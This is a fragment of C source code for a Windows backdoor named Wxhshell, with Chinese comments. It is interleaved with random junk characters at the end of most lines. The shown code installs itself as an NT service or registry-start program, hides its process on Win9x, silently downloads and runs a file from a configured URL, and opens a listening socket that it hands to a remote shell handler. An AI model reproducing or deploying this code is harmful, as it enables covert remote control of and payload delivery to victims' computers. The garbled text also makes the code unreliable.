} PROCESS_BASIC_INFORMATION; ^uV=|1<%
'vP"&lrn
PROCNTQSIP NtQueryInformationProcess; _9pcHhJux
>z"\l
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; es6]c%o:t^
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; X21k7 Ls
Y\
C"3+I
HANDLE hProcess; qexnsL
PROCESS_BASIC_INFORMATION pbi; _{
Np_(g
+lhjz*0
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ZL7#44
if(NULL == hInst ) return 0; 83i;:cn
Jv8JCu"eky
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); u6t%*''
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); l^cz&k=+
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6)h~9iK
j=up7395
if (!NtQueryInformationProcess) return 0; ?!Wh ^su-
fi
tsu"G
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .FdzEauVc
if(!hProcess) return 0; %(X^GL
:'$V7LZ5
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Bo4MoSF}
kM;}$*?
CloseHandle(hProcess); a
!yBEpMo
hU~up a<dD
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^&z3zFTp
if(hProcess==NULL) return 0; >4^,[IO/
$ dR@Q?_{
HMODULE hMod; INRP@Cp1
char procName[255]; PiVp(; rtQ
unsigned long cbNeeded; KKRj#m(:!
7%sx["%@
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )F\^-laMuK
oB8LJZ;
CloseHandle(hProcess); )4;$;a1
3P|z`}Ka
if(strstr(procName,"services")) return 1; // 以服务启动 (^~0%1
H?4t\pSS
return 0; // 注册表启动 KX^! t3l6
} t!&p5wJ*Q
!CUy{nV
// 主模块 "MPr'3
int StartWxhshell(LPSTR lpCmdLine) $lAQcG&Q
{ :m[HUh
SOCKET wsl;
(RBB0CE
BOOL val=TRUE; 1Xkl.FcFw
int port=0; g/W&Ap;qVL
struct sockaddr_in door; Da)H/3ii
n.b_fkZNr
if(wscfg.ws_autoins) Install(); Fp(-&,L0fc
zLSha\X
port=atoi(lpCmdLine); 5?34<B
5@nvcCp
if(port<=0) port=wscfg.ws_port; .)|2^ 'W
nhLw&V3y
WSADATA data; _x]q`[Dih
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; g?gF*^_0
C>* 1f|<
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Blox~=cW
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); tL\L4>^7T
door.sin_family = AF_INET; 7Ml OBPh
door.sin_addr.s_addr = inet_addr("127.0.0.1"); +ZJ1> n
door.sin_port = htons(port); >*1YL)DBT\
ayZWt| iHA
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (r-8*)Qh8
closesocket(wsl); LJwy,-
return 1; _X~xfmU
} }Sh3AH/
bcUa'ZfN<
if(listen(wsl,2) == INVALID_SOCKET) { ?hOvY)
closesocket(wsl); `s\E"QeZN
return 1; KN:V:8:J
} m+EtB6r
Wxhshell(wsl); 'p&q}IO
WSACleanup(); 5n1T7-QCL
r:Ok z
return 0; 5gZ*
_}l7f
} X_ (n
u
a_(wBipy
// 以NT服务方式启动 RwoAZ]Zg]
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) mc|8t0+1`
{ <.U(%`|
DWORD status = 0; /&o<kY
DWORD specificError = 0xfffffff; ,D93A
+-PFISa<r
serviceStatus.dwServiceType = SERVICE_WIN32; O6b.oS'-
serviceStatus.dwCurrentState = SERVICE_START_PENDING; q\d/-K
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; uX8G<7O^
serviceStatus.dwWin32ExitCode = 0; *d}{7UMy#
serviceStatus.dwServiceSpecificExitCode = 0; Os[50j!4>
serviceStatus.dwCheckPoint = 0; UJ^-T+fut
serviceStatus.dwWaitHint = 0; . sv
uXB
rds0EZ4 W
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); cdv0:+[P
if (hServiceStatusHandle==0) return; ^o[(F<q
"vo
o!&<
status = GetLastError(); zC WN,K`
if (status!=NO_ERROR) t|v_[Za}Z
{ -"x25~k!?F
serviceStatus.dwCurrentState = SERVICE_STOPPED; %5Zhq>
serviceStatus.dwCheckPoint = 0; &&TAX
serviceStatus.dwWaitHint = 0; -f=4\3y3p
serviceStatus.dwWin32ExitCode = status; g]PC6xr38
serviceStatus.dwServiceSpecificExitCode = specificError; 3|vZ`}
SetServiceStatus(hServiceStatusHandle, &serviceStatus); [w}KjV/yi
return; s>a(#6Q
} t}2M8ue(&
VcORRUp
serviceStatus.dwCurrentState = SERVICE_RUNNING; HC
RmW'
serviceStatus.dwCheckPoint = 0;
I8XU
'
serviceStatus.dwWaitHint = 0; _MzdbUb5,
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); nT%<!/}!
} s%@HchZ 1
AxiCpAS;J
// 处理NT服务事件,比如:启动、停止 ^03M~SNCj
VOID WINAPI NTServiceHandler(DWORD fdwControl) DX<xkS[P
{ ;s w3MRJ
switch(fdwControl) 'ExTnv ~
{ pTE.,~-J^j
case SERVICE_CONTROL_STOP: B0ZLGB
serviceStatus.dwWin32ExitCode = 0; vf
h*`G$
serviceStatus.dwCurrentState = SERVICE_STOPPED; ]3~X!(O
serviceStatus.dwCheckPoint = 0; W-ol*S
serviceStatus.dwWaitHint = 0; F5YHc$3^
{ =f=,YcRn+
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3NlG,e'T2
} '9Xw_1B
return; OYY_@'D
case SERVICE_CONTROL_PAUSE: QUi=ZD1
serviceStatus.dwCurrentState = SERVICE_PAUSED; 1fcyGZq
break; b)+;@wa~
case SERVICE_CONTROL_CONTINUE: W4rh7e4
serviceStatus.dwCurrentState = SERVICE_RUNNING; NqZR*/BOz
break; oU)HxV
case SERVICE_CONTROL_INTERROGATE: XO"BEj<x
break; ziG]BZ
}; 'Q4V(.
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y[`%j\=
} m^Rf6O^
k4BiH5\hA
// 标准应用程序主函数 Kv#TJn
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =d1R9O
{ <dX7{="&
ZO!)G
// 获取操作系统版本 zXT[}J VV
OsIsNt=GetOsVer(); _|KeB(W
GetModuleFileName(NULL,ExeFile,MAX_PATH);
?ubIh.d
Jkub|w#QH
// 从命令行安装 ?KXgG'!!
if(strpbrk(lpCmdLine,"iI")) Install(); & <Jvaf_=
"jAEZ
// 下载执行文件 Xd@x(T~'X
if(wscfg.ws_downexe) { ?G$X
4KY6`
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) tCbnB
WinExec(wscfg.ws_filenam,SW_HIDE); I cz)Qtg|
} .="[In'
w\Bx=a>vc
if(!OsIsNt) { 4P$#m<;t
// 如果时win9x,隐藏进程并且设置为注册表启动 XjV,wsZ=
HideProc(); #>(h!lT_
StartWxhshell(lpCmdLine); GeCyq%dN
} \:d|'r8OCM
else h2fTG
if(StartFromService()) * 57y.](w
// 以服务方式启动 4I<U5@a
StartServiceCtrlDispatcher(DispatchTable); o0Pc^
else xN]88L}Tn
// 普通方式启动 mp+lN:
StartWxhshell(lpCmdLine); 62z"cFN
h]#bPb
return 0; pxO?:B
}